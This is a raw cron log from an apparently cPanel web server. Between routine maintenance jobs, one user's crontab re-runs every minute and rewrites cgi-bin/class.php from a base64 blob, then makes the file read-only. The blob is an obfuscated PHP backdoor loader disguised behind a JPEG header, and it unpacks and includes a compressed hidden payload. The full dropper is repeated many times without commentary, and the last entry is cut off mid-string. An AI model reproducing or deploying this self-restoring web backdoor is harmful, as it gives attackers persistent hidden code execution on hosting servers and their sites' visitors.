Sep  9 04:50:01 server CROND[13428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:50:01 server CROND[13434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:50:01 server CROND[13433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:50:01 server CROND[13435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:50:01 server CROND[13437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:50:01 server CROND[13436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:50:01 server CROND[13431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:50:01 server CROND[13432]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:51:02 server CROND[14298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:51:02 server CROND[14299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:51:02 server CROND[14300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:52:01 server CROND[14701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:52:01 server CROND[14702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:52:01 server CROND[14703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:53:01 server CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:53:01 server CROND[15173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:53:01 server CROND[15174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:54:01 server CROND[15680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:54:01 server CROND[15682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:54:01 server CROND[15681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:55:01 server CROND[16096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:55:01 server CROND[16098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:55:01 server CROND[16103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:55:01 server CROND[16106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:55:01 server CROND[16107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:55:01 server CROND[16108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:55:01 server CROND[16109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:56:01 server CROND[16944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:56:01 server CROND[16945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:56:01 server CROND[16946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:57:01 server CROND[17323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:57:01 server CROND[17324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:57:01 server CROND[17325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:57:01 server CROND[17328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:58:01 server CROND[17819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:58:01 server CROND[17820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:58:01 server CROND[17821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:59:01 server CROND[18213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:59:01 server CROND[18214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:59:01 server CROND[18215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:00:01 server CROND[18608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:00:01 server CROND[18609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:00:01 server CROND[18613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:00:01 server CROND[18615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:00:01 server CROND[18616]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 05:00:01 server CROND[18614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:00:01 server CROND[18619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:00:01 server CROND[18621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:00:01 server CROND[18618]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:01:01 server CROND[19458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:01:01 server CROND[19460]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 05:01:01 server CROND[19459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwx